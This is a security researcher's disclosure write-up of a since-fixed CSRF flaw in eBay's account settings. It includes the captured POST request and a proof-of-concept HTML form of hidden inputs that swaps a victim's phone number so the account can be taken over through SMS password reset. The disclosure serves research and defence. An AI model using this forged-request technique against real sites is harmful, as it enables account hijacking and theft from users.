Ebay: From CSRF to Full Takeover Account of any user

After the Ebay Data Breach i started looking for that bug that may have been exploited from hackers to steal credentials of more that 100 million Ebay user’s account.So i focused my attention on the Ebay recovery account procedures.If you are already a Ebay user you can reset the password of your account through three procedures:

1) Email Address:An email to the registered email-address will be sent with a reset link

2)SMS: An SMS with a 4-digits PIN will be sent from Ebay to the registered phone number

3)Phone call: A phone call will be made from Ebay to reset password of the Ebay user’s account

The bug i found is in the SMS procedure.This CSRF bug allows me to set a new phone number in the victim’s account and subsequently i can use the SMS procedure to obtain the PIN to reset password of Ebay victim’s account.To set a new phone number in our Ebay account we have to:

1)Go to https://scgi.ebay.it/ws/eBayISAPI.dll?ChangeRegistrationShow

2)Fill in all the forms with the desired values

3)Click on the button to save changes

Schermata del 2014-06-04 12:27:19

Once clicked on it a POST request like the following will be generated:

POST   https://scgi.ebay.it/ws/eBayISAPI.dll

Host: scgi.ebay.it
User-Agent: myuseragent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://scgi.ebay.it/ws/eBayISAPI.dll?ChangeRegistrationPreview
Cookie: mycookies
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 758


The first time i look at this POST request i noticed that there was the “srt” parameter and i thought it was an anti-CSRF token but after few attempts i noticed that the “srt” parameter and its value are not checked from server so they can be omitted.So i realized an HTML page that once clicked by the victim, will set a new phone number (attacker’s phone number) in the victim’s account.

This is the POC:



<form method=”POST” name=”form0″ action=”https://scgi.ebay.it:443/ws/eBayISAPI.dll”>
<input type=”hidden” name=”MfcISAPICommand” value=”ChangeRegistration”/>
<input type=”hidden” name=”userid” value=””/>
<input type=”hidden” name=”pass” value=””/>
<input type=”hidden” name=”mid” value=””/>
<input type=”hidden” name=”hmid” value=””/>
<input type=”hidden” name=”firstname” value=”firstname”/>
<input type=”hidden” name=”lastname” value=”lastname”/>
<input type=”hidden” name=”middleinitial” value=””/>
<input type=”hidden” name=”nameAlt” value=””/>
<input type=”hidden” name=”nameAlt2″ value=””/>
<input type=”hidden” name=”name” value=”firstname lastname”/>
<input type=”hidden” name=”company” value=””/>
<input type=”hidden” name=”address” value=”via A.AAAAA”/>
<input type=”hidden” name=”city” value=”city”/>
<input type=”hidden” name=”state” value=”state”/>
<input type=”hidden” name=”fullnameAlt” value=””/>
<input type=”hidden” name=”companyAlt” value=””/>
<input type=”hidden” name=”addressAlt” value=”11″/>
<input type=”hidden” name=”cityAlt” value=””/>
<input type=”hidden” name=”stateAlt” value=””/>
<input type=”hidden” name=”zip” value=”zipcode”/>
<input type=”hidden” name=”country” value=”Italia”/>
<input type=”hidden” name=”countryid” value=”101″/>
<input type=”hidden” name=”dayphone” value=”  dayphonr”/>
<input type=”hidden” name=”nightphone” value=””/>
<input type=”hidden” name=”faxphone” value=””/>
<input type=”hidden” name=”dayphone1″ value=”dayphone1″/>
<input type=”hidden” name=”dayphone2″ value=””/>
<input type=”hidden” name=”dayphone3″ value=””/>
<input type=”hidden” name=”dayphone4″ value=””/>
<input type=”hidden” name=”nightphone1″ value=””/>
<input type=”hidden” name=”nightphone2″ value=””/>
<input type=”hidden” name=”nightphone3″ value=””/>
<input type=”hidden” name=”nightphone4″ value=””/>
<input type=”hidden” name=”gender” value=”Non specificato”/>
<input type=”hidden” name=”billingcurrency” value=”7″/>
<input type=”hidden” name=”personalId” value=””/>
<input type=”hidden” name=”personalIdType” value=””/>
<input type=”hidden” name=”bizTypeCode” value=””/>
<input type=”hidden” name=”bizNumber1″ value=””/>
<input type=”hidden” name=”bizNumber2″ value=””/>
<input type=”hidden” name=”taxIdNumber” value=””/>
<input type=”hidden” name=”accountOperatorName” value=””/>
<input type=”hidden” name=”salutation” value=””/>


Once the victim has clicked on this HTML page a new phone number will be setted in the victim’s account and the attacker can subsequently reset password of the victim’s account through the SMS procedure.

This is the Video PoC:

The bug has now been fixed.